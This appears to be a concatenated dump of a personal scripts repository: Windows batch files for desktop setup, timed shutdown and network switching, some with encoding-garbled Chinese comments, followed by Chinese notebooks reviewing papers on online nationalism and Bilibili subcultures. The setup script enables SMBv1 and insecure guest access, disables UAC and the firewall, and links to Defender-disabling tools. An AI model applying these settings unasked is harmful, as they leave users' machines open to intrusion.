ʾͿͼꣻʾļչ1Ϊء reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{21EC2020-3AEA-1069-A2DD-08002B30309D}" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}" /t REG_DWORD /d 0 /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 0 /f @REM SMB1 @REM ο :: https://blog.csdn.net/no1xium/article/details/108102968 :: https://learn.microsoft.com/zh-cn/windows-hardware/manufacture/desktop/enable-or-disable-windows-features-using-dism?view=windows-11 :: https://blog.csdn.net/ysapfa/article/details/131222044 rem SMBv1 ͻ @REM dism /online /enable-feature /featurename:SMB1Protocol /all /norestart rem SMBv1 @REM dism /online /enable-feature /featurename:SMB1Protocol-Server /all /norestart @REM 滻powershell heroliujia SMBv1 Powershell Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -A -N rem ע SMBv1 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v SMB1 /t REG_DWORD /d 1 /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" /v AllowInsecureGuestAuth /t REG_DWORD /d 1 /f @REM رUACЧرշǽ reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f netsh advfirewall set allprofiles state off @REM acͨԴֱdcõأ @REM https://github.com/hoochanlon/scripts/blob/main/d-pwsh/frontline_helpdesk.ps1 powercfg -change -standby-timeout-dc 0 powercfg -change -hibernate-timeout-ac 0 @REM "رմ豸ԽʡԴ" @REM https://learn.microsoft.com/zh-CN/troubleshoot/windows-client/networking/power-management-on-network-adapter @REM https://learn.microsoft.com/zh-tw/windows-hardware/design/device-experiences/modern-standby-sleepstudy reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001" /v PnPCapabilities /t REG_DWORD /d 24 /f @REM --------------------------------°WindowsIEEdgeٳIE--------------------------------------------- @REM https://github.com/hoochanlon/scripts/blob/main/d-bat/keep_ie.bat @REM СIE޸2.2ѽٳ⡣win10нűͺá reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Enable Browser Extensions" /t REG_SZ /d "NO" /f reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "UpsellDisabled" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "RedirectionMode" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "QuietExpirationTime" /t REG_QWORD /d 0 /f :: The new "End of Life" upgrade notification for Internet Explorer :: https://support.microsoft.com/en-us/topic/the-new-end-of-life-upgrade-notification-for-internet-explorer-ca9a8d93-3f92-ee13-f608-a585f4fa08d4 ::Note If the value of the iexplore.exe registry entry is 0, or if the registry entry doesn't exist, the notification feature is enabled by default. REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISABLE_IE11_SECURITY_EOL_NOTIFICATION" /v "iexplore.exe" /t REG_DWORD /d 1 /f @REM -------------------------------"EdgeٳIEѴɣ"-------------------------------------------------------- pause @REM ---------------------------- ע ------------------------------------------- ::--------- Զװ ----------- @REM ʵԶװ @REM ڶ࣬ÿҵͬ @REM ʹԶװʵϲȶ @REM set bat_install_path=C:%HOMEPATH%\Downloads @REM for %%f in (%bat_install_path%\*.exe) do ( @REM echo Installing %%~nxf... @REM %%f /S /SP- /VERYSILENT /NORESTART /SUPPRESSMSGBOXES /FORCE @REM ) ::-------- װIPPE￴ķʽ --------- @REM PEעIJѯ·ȫʶ @REM REG LOAD HKLM\TempLookIp C:\Windows\System32\config\SYSTEM @REM עճ HKLM\TempLookIp\ControlSet001\services\Tcpip\Parameters\interfaces @REM regedit @REM echo "HKLM\TempLookIp\ControlSet001\services\Tcpip\Parameters\interfaces" | clip @REM powershellװ̡޸IPװԶ @REM https://www.52pojie.cn/thread-1745963-1-1.html @REM д˸رWindowsµ @REM https://www.52pojie.cn/thread-1791338-1-1.html @REM /ʵʱƼʹ @REM https://www.sordum.org/9480/defender-control-v2-1/ @REM https://www.52pojie.cn/thread-1791895-1-1.html ȥѳɻ䣩 :: Ϊ΢򲹶עԼϵͳԶⲢɾʧЧ @REM ---------------------------- ע ------------------------------------------- ================================================ FILE: d-bat-dc/readme.txt ================================================ 域控专属 ================================================ FILE: d-bat-dc/从网络共享复制到本地,更新hosts.bat ================================================ @echo off rem 繲ļļ xcopy /s /y "\\172.16.1.254\it\hosts" "C:\Windows\System32\drivers\etc" echo ļɣʾhosts ı type C:\Windows\System32\drivers\etc\hosts pause ================================================ FILE: d-bat-dc/定时关机.bat ================================================ @echo off setlocal enabledelayedexpansion rem Ŀʱ set targetTime=2025-12-26 15:51:00 rem ֱ趨ǰʱ䣨ֶ @REM set currYear=2025 @REM set currMonth=01 @REM set currDay=23 @REM set currHour=23 @REM set currMin=19 rem ȡǰʱ䣨ʽyyyy-MM-dd HH:mm:ss for /f "tokens=1-4 delims=/-: " %%a in ("%date%") do ( set currYear=%%a set currMonth=%%b set currDay=%%c ) for /f "tokens=1-2 delims=: " %%a in ("%time%") do ( set currHour=%%a set currMin=%%b ) rem ȡĿʱꡢ¡աʱ for /f "tokens=1-5 delims=/-: " %%a in ("%targetTime%") do ( set targetYear=%%a set targetMonth=%%b set targetDay=%%c set targetHour=%%d set targetMin=%%e ) rem ǰʱĿʱ echo Current Time: %currYear%-%currMonth%-%currDay% %currHour%:%currMin% echo Target Time: %targetYear%-%targetMonth%-%targetDay% %targetHour%:%targetMin% rem ÿµ set month1=31 set month2=28 set month3=31 set month4=30 set month5=31 set month6=30 set month7=31 set month8=31 set month9=30 set month10=31 set month11=30 set month12=31 rem жǷ꣬2Ϊ29 set /a leapYearFlag=%targetYear% %% 4 if %leapYearFlag%==0 ( set /a leapYearFlag=%targetYear% %% 100 if %leapYearFlag%==0 ( set /a leapYearFlag=%targetYear% %% 400 if %leapYearFlag%==0 ( set month2=29 ) ) else ( set month2=29 ) ) rem ÿµԣ echo ÿµ: echo 1: !month1! echo 2: !month2! echo 3: !month3! echo 4: !month4! echo 5: !month5! echo 6: !month6! echo 7: !month7! echo 8: !month8! echo 9: !month9! echo 10: !month10! echo 11: !month11! echo 12: !month12! rem 㵱ǰʱ set /a currTotalSecs=(%currYear% - 1) * 365 * 24 * 3600 for /L %%i in (1,1,%currMonth%) do ( set /a currTotalSecs+=!month%%i! * 24 * 3600 ) set /a currTotalSecs+=(%currDay% - 1) * 24 * 3600 set /a currTotalSecs+=%currHour% * 3600 set /a currTotalSecs+=%currMin% * 60 rem Ŀʱ set /a targetTotalSecs=(%targetYear% - 1) * 365 * 24 * 3600 for /L %%i in (1,1,%targetMonth%) do ( set /a targetTotalSecs+=!month%%i! * 24 * 3600 ) set /a targetTotalSecs+=(%targetDay% - 1) * 24 * 3600 set /a targetTotalSecs+=%targetHour% * 3600 set /a targetTotalSecs+=%targetMin% * 60 rem ǰʱĿʱԣ echo Current total seconds: %currTotalSecs% echo Target total seconds: %targetTotalSecs% rem ʱ룩 set /a diffSecs=%targetTotalSecs% - %currTotalSecs% rem ʱ룩 echo Time difference in seconds: %diffSecs% rem shutdownӳָ shutdown.exe -s -f -t %diffSecs% pause ================================================ FILE: d-bat-dc/自动内外网识别与切换.bat ================================================ @echo off cls :: ӿ set interface="̫" :: һʱļ洢 netsh set temp_file=%temp%\dhcp_status_output.txt :: ȡӿϢ浽ļ netsh interface ip show config name=%interface% > "%temp_file%" :: ʼ set dhcp_status= :: жȡļ "DHCP " for /f "tokens=2 delims=:" %%a in ('findstr /c:"DHCP " "%temp_file%"') do ( set dhcp_status=%%a ) :: ǰո for /f "tokens=* delims= " %%b in ("%dhcp_status%") do set dhcp_status=%%b :: ʾ DHCP ״̬ echo ǰ DHCP ״̬: "%dhcp_status%" :: жϵǰģʽִл if /i "%dhcp_status%"=="" ( echo ⵽ǰΪ DHCP ģʽл̬ IP... netsh interface ip set address name=%interface% source=static addr=172.16.1.55 mask=255.255.255.0 gateway=172.16.1.254 >nul 2>nul netsh interface ip set dnsservers %interface% static 172.16.1.6 validate=no >nul 2>nul echo л̬ IP á ) else ( echo ⵽ǰΪ̬ IP ģʽл DHCP... netsh interface ip set address name=%interface% source=dhcp >nul 2>nul @REM netsh interface ip set dnsservers %interface% dhcp >nul 2>nul netsh interface ip set dnsservers %interface% static 192.168.1.250 primary >nul 2>nul netsh interface ip add dnsservers %interface% 114.114.114.114 index=2 >nul 2>nul echo л DHCP á ) :: ɾʱļ del "%temp_file%" @REM pause :: ȴ 3 ˳ @REM timeout /t 3 /nobreak >nul ================================================ FILE: d-ipynb/“小粉红”群体分析.ipynb ================================================ { "cells": [ { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 《青年网络爱国主义的实存样态与引导策略:以“小粉红”群体为例》读感\n", "\n", "### 小粉红\n", "\n", "据[牛帆(2022.9)](#fn1-black)分析小粉红群体有较为朴素的爱国情感和政治参与热情,倾向于情绪体验实现国家认同,此基础上的构建的群体,成员之间经济、文化差异较大,普遍缺少较严苛社会生存工作经验,难进入具体复杂的现实语境思考问题,更习惯于言语符号识别“敌我”,标签化形成自己的认知元素。不过牛帆也指出情感化讨论和标签化对立的现象,并非小粉红特例,这种趋势在全球范围内都存在。\n", "\n", "牛帆从经济消费能力、兴致爱好、知识背景、世代特征等多数个体的微观层面入手,显现多数小粉红的实存样态,并得出以下宏观概括结论:\n", "\n", "1. 以城市中产阶级为基础,主体形象多元化(海外学习生活、来自不同社群平台,群体成员个性多样化。)\n", "2. 以情感表达为目标,内容输出娱乐化(拟人化、偶像化、亲人化、《那年那兔那些事儿》;国际社会认可、内心与外部情感连结)\n", "3. 以彰显自我为重点,话语表达符号化(弹幕、短视频、解构、自嘲、归属感与自我价值)\n", "4. 以松散的聚合性为支撑,组织形式流动化(话题讨论形成集体意识,结束后往往回归各自生活,典型的流动群聚(mob-ility)特征)\n", "\n", "然而,我发现少了一个较为重要的成因,在国外生活的\"小粉红\"通常会在不同的社会环境中观察和体验,这使得他们更加关注与自己背景和价值观不符的社会现象。他们敏锐地注意到社会问题的弊病,可能是因为与国外社会的差异使得这些问题更加显眼。同时,国家荣誉、个人自信等情感因素也会对他们的自我认同产生影响。这种情感绑定促使小粉红们将国家与自己紧密联系在一起,并渴望通过关注和提出问题来改善社会状况,捍卫国家荣誉和价值观。总的来说,小粉红在国外生活中更加关注他所在的环境社会问题,将国家和个人的荣誉与自我认同紧密相连,这推动他们为国家和社会的进步尽一份力量,“爱国主义”正是他们一种释发这种力量的表达方式。\n", "\n", "不过牛帆在“小粉红”成因追溯上也说明了如上这一点,之后便是牛帆基于引导小粉红、同时加强构建爱国主义宣传提出的策略:\n", "\n", "1. 教育者密切关注小粉红思想动态和行为模式,科学分层与分类引导,重点加强对小粉红群体内核心人物的思想政治教育。\n", "2. 加强敏感词、表情包有条件的筛选与过滤,并追踪关注小粉红活动进程,做好舆情监控与分析。\n", "3. 从青年视角及兴趣特点,积极谋划爱国主义文学内容,增强宣传内容在个人日常生活上的体验感、沉浸感,潜移默化熏陶爱国主义意识形态。\n", "\n", "爱国是一个严肃的话题,“小粉红”青年群体在网上的发言和行动带入了更多基于个人经历和个人情感的情绪化表达,在以维护国家利益而发起的爱国行动中,缺乏对历史和国家前途命运的深入思考和理性对话逻辑。老实说这牛帆这句话,官媒何尝又不知道不少小粉红更多的是爱自己呢,由自己向往的美好经历,升华到爱国的情感宣释。\n", "\n" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 《“小粉红”社会责任承担的现实考量与提升路径研究》读感\n", "\n", "### 小粉红摘要话语结论背景分析\n", "\n", "就[刘芳(2019.4)](#fn2-black)所述:“一方面,要提升’小粉红‘的政治参与素养与新媒介素养,培养大国情怀,最终达到提升’小粉红‘社会责任承担能力的目的。另一方面,媒体要发挥作用,媒体工作者的报道要客观公正,还要为“小粉红”正名,通过增加“小粉红”的社会认同,进而转变“小粉红”对待社会责任承担的态度。最后,政府部门需要出面进行宏观调控,加强对“小粉红”的意识形态教育,为“小粉红”提供安全可靠的上网渠道,还要进一步加强网络监管制度,为“小粉红”搭建高质量的网络平台,营造清朗的网络空间。”\n", "\n", "“要提升‘小粉红’的政治参与素养和新媒介素养,培养大国情怀。”这说明了“小粉红”在政治学识和新媒体知识方面存在短缺,传递的爱国主义更多地是基于个人感受的情感表达。“媒体工作者的报道要客观公正,还要为‘小粉红’正名,通过增加‘小粉红’的社会认同。”这一观点反映了社会工作者对于个人单一经历下的爱国情感表达存在保留态度。\n", "\n", "“最后,政府部门需要出面进行宏观调控,加强对‘小粉红’的意识形态教育,为‘小粉红’提供安全可靠的上网渠道,还要进一步加强网络监管制度,为‘小粉红’搭建高质量的网络平台,营造清朗的网络空间。” 这句话结合当今思想开放及多元化的现状来分析负面作用:\n", "\n", "1. 限制言论自由:从微观实施层面来看,加强意识形态教育和网络监管,过度限制了他们的言论自由。从整体上来看,如果政府只鼓励一种特定的思想,而限制了其他观点的表达,可能会造成思想的单一化,剥夺了个体进行自主思考和表达的权利。\n", "\n", "2. 抑制创造力和创新精神:决策层面实施集体的宏观调控,过度操控及限制会抑制个人的多元化思维及创造力。限制对多元观点的接触和探索,可能导致群体的思维模式僵化,缺乏创造性和创新性的思考方式。\n", "\n", "3. 社会分裂和对立加剧:如果政府过于强调对“小粉红”群体的宏观调控,可能会导致社会的分裂和对立加剧。这种偏向某一特定群体的措施可能引发其他群体的不满和对立情绪,从而加大社会矛盾。\n", "\n", "4. 对网民自主性的侵害:提供安全可靠的上网渠道是为了保护青少年免受有害信息的侵害,但过度的网络监管制度可能会侵害普通网民的自主性。若监管过于严格,可能对用户的上网体验和个人隐私造成不必要的干扰和侵犯。\n", "\n", "意识形态教育和网络监管方面,应倾听各方声音,建立开放、包容的环境,确保不损害个人权益和社会稳定。社会的多元化和包容性发展,鼓励不同群体之间的对话和理解。只有通过增加社会认同和建立互信机制,才能减少社会分裂和对立的现象。解决方案应包括提升素养和意识形态教育、媒体客观公正报道、政府宏观调控的平衡以及推动社会多元化和包容性发展等方面的努力。这样才能营造一个凝聚共识、包容多样的社会环境。\n", "\n", "### 小粉红年龄及主要构成群体界定\n", "\n", "“小粉红”一词来自于民间对网络爱国青年群体的称呼,“小”指的是年龄小,虽然很稚嫩,但是精力充沛、一腔热血;“粉”指的是网络上流行的特有的表达方式,比如语言卖萌,又经常使用各种萌系表情,另外由于小,单纯的生活阅历使得“小粉红”的心智还没有定型;“红”指的是苗正根红,红色在中国的语境下通常代表了中国共产党,这里的“红”表达了“小粉红”强烈的爱党爱国爱领袖情怀。[刘芳(2019.4)](#fn2-black)\n", "\n", "刘芳对小粉红群体的定义是准确的。她进一步将该群体细分为不同的年龄段、社会阶层以及职业背景。在18至24岁的范围内,学生群体在小粉红中占据了很大比例,其中多数来自无产阶级家庭。然而,在旧牛帆模型流行之前的分类中,也有相当数量的小粉红来自城市中产阶级家庭,这一点也需要我们注意。无论如何,这两个群体都有一个共同点,即小粉红拥有较强的社会消费能力和购买力,并且相对承受较少的社会压力,同时也是中国改革开放国力日益强盛的受益者、见证者。\n", "\n", "### 小粉红成因及自我审视\n", "\n", "在此之前,首先我们必须要清楚什么是民族主义,接着理解网络民族主义,才能厘清小粉红的成因以及后续发展。民族经常被称为“想象共同体”,民族之所以是一个想象共同体是因为,人们虽然生活在同一个共同体中,但是互相之间并不认识,而是通过媒体联结起来共同生活的人们,制造出了一种相似的经历,以此作为维系情感的纽带,也是一种共享的情感和经历。[李红梅(2016.11)](#fn3-black)。\n", "\n", "小粉红的孕育与网络民族主义息息相关,中国综合国力及国际影响力的提升、海外扰华、排华等事件因素交织在一起,在互联网扩散发酵的影响下应运而生,并带有浓厚的政治色彩。\n", "\n", "外界对小粉红一直存在议论与争议之声,以及自媒体迅速发展,媒介内容及载体多元化,人们浏览信息类别也日渐丰富、关注内容更趋于垂直化,时政相对呈现出颓势状态。与此同时小粉红随着年岁增长,在工作和生活经历更多社会阅历,不再如少年时,开始重构自我价值观,并开始进入反思阶段。\n", "\n", "### 后小粉红\n", "\n", "“小粉红”的国家认同经历了一个由感性驱动到理性控制的过程,这是一个后小粉红的典型特征。\n", "\n", "\n", "小A,95后。
    \n", "问:您承认自己的“小粉红”身份吗?
    \n", "答:承认,但是有一个前缀,我是理智的爱国“小粉红”。
    \n", "问:为什么加这么一个限定词呢?
    \n", "答:因为我所知道的“小粉红”最大的特点之一就是脑残,这个我绝对不同意,这也是社会对“小粉红”的误解,我不否认社会中有脑残的不理智的“小粉红”,但是不能以偏概全,至少我自己或者我身边的“小粉红”还都是相对理智的。
    \n", "问:那你有了解过马里兰大学的留学生的演讲吗?
    \n", "答:有啊, 其实我第一时间听到这个消息的时候挺生气的, 跟众多网友心情 一样, 但是仔细一想, 她说的话也不都是夸张和虚假, 客观看来, 我国的雾霾情 况的确比较严重, 但是也的确在不断改善, 所以也没必要对其大动肝火。
    \n", "问:你觉得你作为“小粉红”中的一员, 如何看待你们的社会责任承担?
    \n", "答:整体来说, 我们还都挺爱国的, 不管是行动还是语言上。 我们也为祖国 的发展感到自豪, 但是在拥有这种爱国情感的过程中, 我们还是比较缺乏对舆情 客观冷静分析的能力吧, 这样就会导致公众觉得我们担不起社会责任。
    \n", "\n", "**小A对话涉及对“小粉红”身份和社会责任承担的讨论。** 对于“小粉红”身份,回答者表示承认自己是“理智的爱国‘小粉红’”,并指出“小粉红”被误解为脑残,但他自己及其身边的人都相对理智。关于马里兰大学留学生的演讲,回答者在一开始感到生气,但仔细思考后认为演讲中的某些观点并非夸张或虚假,同时也提到我国雾霾问题正在不断改善,坦然面对即可。在谈到“小粉红”群体的社会责任承担时,回答者认为大部分人表现出爱国情感,但缺乏客观冷静的舆情分析能力,从而导致公众质疑他们是否能够承担社会责任。\n", "\n", "小B,90后,男。
    \n", "问:你觉得“小粉红”一般都具备那些特征呢?
    \n", "答:个人认为“小粉红”比较年轻,或者幼稚?而且所受的教育程度和层次不高,缺乏判断力,大致可以理解为祖国的脑残粉。
    \n", "问:为什么做出以上这些判断吗?你难道不介意为自己正名, 摆脱这些不好 听的称号?
    \n", "答:你看帝吧出征事件,当时很轰动,微博、QQ、脸书等社交软件充分发挥作用,但是发挥了什么作用?仅仅只是去斗图?宣传社会主义核心价值观?太夸张和戏谑的话看起来就会很幼稚,而且参与事件的人还有一大部分其实并不知道为何出征,说白了就是纯粹的凑热闹,如果是这样的话,那别人怎么评价当然改变不了啊。
    \n", "问:那你觉得“小粉红”要如何才能跳出这个怪圈认同?
    \n", "答:这主要是提升自己的能力和素质吧,对待政治议题不必那么激进, 要像哲学中提倡的那样辩证分析。
    \n", "\n", "**小B对话提到了关于“小粉红”群体的特征和认同问题。** 回答者认为“小粉红”一般年轻、教育程度相对较低,缺乏判断力,可以理解为盲目崇拜国家的粉丝。回答者举例帝吧出征事件,认为虽然在社交媒体上引起了轰动,但参与者大部分并不了解背后的目的,仅仅是跟风凑热闹。回答者认为这些行为显得幼稚,容易被他人评价。对于如何摆脱“小粉红”的负面称号,回答者认为需要提升个人能力和素质,对待政治议题不必过于激进,而是采用哲学中的辩证分析方法。\n", "\n", "小C,95后,男,国外留学生。
    \n", "问:据你所知,你身边的留学生里“小粉红”多吗?
    \n", "答:多,因为出国以后你会觉得异国他乡很陌生,接着你就会想要回国。
    \n", "问:那你在留学前后对待祖国的看法有没有变化?
    \n", "答:有,我在没出国以前接受的都是社会主义教育,看到的新闻也都是本国的,出国以后看到的是外国人眼中的中国。对比之下你就会发现差距。比如你眼中的中国是在不断发展壮大的,国外新闻中的描述不全部是这样,反正不一样,但是也不是假新闻。
    \n", "问:那在你看来, 你认为“小粉红”应该怎样爱国是比较合适的?
    \n", "答:要放眼全球,不能局限在国内,得多接触外边的世界, 有大国该有的气度和胸襟。
    \n", "\n", "**小C对话探讨了留学生中的“小粉红”现象以及对祖国看法的变化和如何合适地表达爱国情感。** 回答者表示在身边的留学生中,“小粉红”现象比较普遍。主要原因是在异国他乡的环境下,会产生对祖国的思乡情感,渴望回国。留学前后,回答者的对祖国的看法发生了变化。在留学前,他接受了社会主义教育,了解到的新闻也主要是国内的。而在留学后,他开始接触到外国人眼中的中国,发现两者之间存在差距。这并不意味着外国新闻是假的,只是描述的角度和内容有所不同。对于如何合适地表达爱国情感,回答者认为应该放眼全球,不局限于国内视野,多接触外部世界。同时,要具备大国应有的气度和胸襟。**总结起来,这段对话围绕着留学生中的“小粉红”现象展开,包括思乡情感、对祖国看法的变化和合适地表达爱国情感的建议。**\n", "\n", "### 引导小粉红为国家服务追随中国梦\n", "\n", "“小粉红”是具有强大的号召力和动员力的新鲜血液,将小粉红做为社会主义事业的后备军,可积极拥护共产党领导、主动宣传主流价值。同时完善网络监管制度为“小粉红”营造清朗网络空间,使其成为思想政治教育的网络引领者、善恶信息鉴定者、发挥榜样作用树立爱国意识,做一个积极维护祖国形象的国家形象建构的主要推动者。\n", "\n", "“小粉红”把自己所学所知运用到社会实践中去,服务好国家、社会的运营发展,监督好不利于社会稳定、国家安全的不和谐因素。充分发挥“小粉红”的主观能动性,感染和影响更多的线上线下的人去进行科学合理的爱国实践。\n", "\n", "### 马克思主义学院行文立场及情感要素浅析\n", "\n", "我感觉马克思主义学院的人都是挺精明人,对社会学方面分析起来高屋建瓴,不过看着他大义凛然有意制造正义、邪恶二元对立。但在实际政治环境中,他们的态度和行动可能会受到各种因素的影响,包括执政党的影响。\n", "\n", "当马克思主义学院的人员支持执政党时,他们可能会维护和支持该党的政策和决策。这可能导致他们在分析问题时更倾向于从正面看待执政党的行为,并为其辩护。他们可能强调执政党的努力和成就,而对其负面影响和局限性进行较少的批评。然而,如果马克思主义学院的人员与执政党的立场相左或持不同政见,他们可能会表达不同的观点并进行批评。在这种情况下,他们可能会强调执政党的问题和政策的不足之处,提出改进的建议,并支持其他政治力量或社会运动。\n", "\n", "需要明确的是,政治态度和行为是受多种因素影响的,不仅仅取决于所属的学院或思想流派。个体的价值观、原则、经验和周围环境等都会对其政治立场产生影响。因此,尽管马克思主义学院的人员可能会以正义和正面的形象出现,但他们的态度和行为仍然是多样化和多变的。" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 《帝吧出征事件分析》读感\n", "\n", "2015年底,台湾艺人周子瑜在参加韩国一档综艺节目时,挥动“中华民国国旗”,此事经由台湾艺人黄安在2016年1月8日通过新浪微博曝光而引起中国大陆的网民和广告商的抵制。后续的民族主义事件还包括中国网民在虚拟空间自行组织起来,以帝吧的名义出征脸书(Facebook),刷屏台湾三立新闻、苹果日报、自由时报的脸书主页,,并同时攻陷了当时的台湾“总统候选人”蔡英文的脸书页。帝吧出征者通过各种影像、文字、刷表情包进行自我身份表达,以达到“文化交流”的目的。[李红梅(2016.11)](#fn3-black)。\n", "\n", "### 台湾认同话题\n", "\n", "长期以来,中国大陆的民众希望能与台湾民众多交流,但是地缘政治、不同的政治制度以及美国和日本的角色都使得台湾和大陆的关系在政治层面充满分歧。台湾的去中国化很大的程度上也是希望构建另外一种想象,“台湾人的台湾”,他们通过教科书、媒体和政策割裂与中国历史纽带,以达到真正建立一个独立政体的目的。而且,尽管台湾有高达97%的汉族人,可是近几十年的本土化运动让认同中国人身份的越来越少,而认同台湾身份的人越来越多。比如2014年台湾政治大学公布的民众调查显示,有高达23.8%的台湾民众倾向台独或希望尽快台独;60.4%的民众仅仅认同自己是台湾人,32.7%的民众认为自己既是台湾人又是中国人,但仅有3.5%的民众认为自己是中国人;认同台独和台湾人的比例达到自94年以来的新高。[李红梅(2016.11)](#fn3-black)。\n", "\n", "因从小所受“大一统”教育的关系,有着民族主义情结的中国民众对台湾希望念及同胞情谊;另一方面,对台湾“本土化”与中国大陆”一统“政策渐行渐远的无奈与厌恶,造成认知不协调。\n", "\n", "### 李红梅结论概要\n", "\n", "文章以宏观视角将中国的民族主义放在国际与国内背景下解析。民族主义在塑造民族国家的凝聚力起到积极作用,同时在国际问题上,个人由对社会现状不满,而转向民族主义发泄,舒缓民间积怨情绪,也维护了政府利益。\n", "\n", "但在另一方面,海外学者认为民族主义是精英控制大众的一种工具。民族主义具有如下特征:“归属感属于唯一的权利,忠诚作为一种无上的义务;尊严只是存在于集体的荣耀中;私利和集体福利联系在一起”。从这种角度来说,民族主义实际上是一种控制工具和意识形态。我们需要警惕民族主义在什么情况下被利用而成了压制不同言论、维护特定群体利益的工具。\n", "\n", "网络作为为数不少的公民表达意见的场域,不可避免地反应了整个社会的一些议题和价值观。但是我们也要看到,网络往往是极端言论的放大器。网上的声音不见得反应真实的民意。纯粹从网络言论推出中国的民族主义思潮,是不完整不客观的。尽管网络民族主义确实呈现出一些新的特征,但是我们必须将网络民族主义的研究置于整个大的社会文化环境里面来理解。网络民族主义很大程度上是一种在消费文化和全球地缘政治大环境下有关身份政治的表演。这种表演不仅根植于我们对历史的选择性记忆,而且也是在文化全球化的语境下对中国人、中国应有的国际地位的一种主张;是对中国在全球化过程中遇到挫折(如中国的主权和领土完整以及身份认同等)的一种应对,是国内和国际力量,政治和经济文化以及官方和民间因素的一种结合体。[李红梅(2016.11)](#fn3-black)。\n", "\n", "\n", "\n", "\n" ] }, { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "## 参考文献\n", "\n", "[牛帆,2022,《青年网络爱国主义的实存样态与引导策略:以“小粉红”群体为例》,《未来与发展》第九期, 23-27页。](#fn1)\n", "
    [刘芳,2019,《“小粉红”社会责任承担的现实考量与提升路径研究》, 湖南大学硕士学位论文, 摘要, 9-13页。](#fn2)\n", "
    [李红梅,2016,《帝吧出征事件分析》,《国际新闻界》91-113页](#fn3)
    \n", "\n", "\n", "\n", "\n", "\n", "\n", "\n" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "name": "python", "version": "3.11.4" }, "orig_nbformat": 4 }, "nbformat": 4, "nbformat_minor": 2 } ================================================ FILE: d-ipynb/亚文化视域评论及弹幕调研.ipynb ================================================ { "cells": [ { "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ "# 就“嗑CP”、“萌宠”、“职场凌辱”等话题,对B站Z世代用户评论、弹幕调研\n", "\n", "以社会民生话题种类繁多,不大适合定量分析研究B站Z世代用户。如果是将研究样本限定在“二次元”、“某CP党”,做定向的特质分析,无疑是个很好的突破口。查阅了几篇资料,针对Z世代标新立异的话语,不少文章都共同提及了:“缘趣群体”、“群体认同”、“亚文化圈层”、“解构重构”、“詹姆斯·凯瑞”,这几个关键词。这里以“磕CP”作为入手方向。做为社会中的个体,每个人的喜好专长,大都具有离散、多元的特性。\n", "\n", "就剩余快感的内驱力原因,研究学者提到:“原因自然是多方面的,现实的无趣 、欲望的驱动、游戏的追求 …… 但本质原因之一 ,是来自受众对于“现实”/“真实”以及其所指代和承诺的价值、情感的不信任,于是转身投入对虚拟情感/虚假情感的沉迷之中。在影院观赏爱情电影之所以那么富有魅力,是因为对人们内心深处的那些渴望的、私密的情感进行了合理化的影像化呈现,黑暗背景中的电影院与银幕也成为人们享受私人化情感释放的理想化场所” 。[(石小溪,2022)](#fn1-black)\n", "\n", "后情感主义是美国社会学家斯捷潘·梅斯特罗维奇( Stjepan G. Metrovic)提出的理论。所谓“后情感”,区别于人类的本真情感,指向一种“新的被智识化、机械化、大众媒体生产的情感”。本真情感异化为替代或虚拟的情感(“后情感”),成为文化工业批量生产并出售的一种商品。[(石小溪,2022)](#fn1-black)\n", "\n", "在后情感主义时代,“情感已不必指向以往至 高无上的客观真实,而只须满足公众的快感欲求”。文艺作品不再取材于真实、表现人类本真情感,而是营造悬浮的“爱情神话”以催生“虚假欲求”,满足公众快感;公众不再需要费心建立并维持一段亲密关系,而是仅仅通过消费媒介产品就可以获得超越日常生活的类情感体验 。[(石小溪,2022)](#fn1-black)\n", "\n", "除了“嗑CP”,以萌宠视频为例,这是后情感主义具象化的体现之一。作为新媒体时代的消费品,萌宠视频为人们提供情感慰籍,声音与画面,聚合的缘趣圈层,共同构建的沉浸感、陪伴感,符号化意义再生的快感,最终达到移情与共情并存的效果。[(姚澍欣,2022)](#fn2-black)\n", "\n", "移情式的卷入 ,指的是用户在主观意识里将 自身与网红猫的关系夸大或延伸为现实人际关系模 式。移情效应通常鲜明地反映在视频播放过程的弹幕互动环节。[(姚澍欣,2022)](#fn2-black)\n", "\n", "共情式的卷入 ,指的是用户在观看 up 主与猫 咪的互动、参与猫咪生命历程的文化消费行为中产生了心理感受上的共鸣。共情卷入往往需要特定情 节的触发 ,比如猫咪生病、生育、离世等健康风险 , 或是猫咪到新家、猫咪生日等具有纪念意义的节点。 。[(姚澍欣,2022)](#fn2-black)\n", "\n", 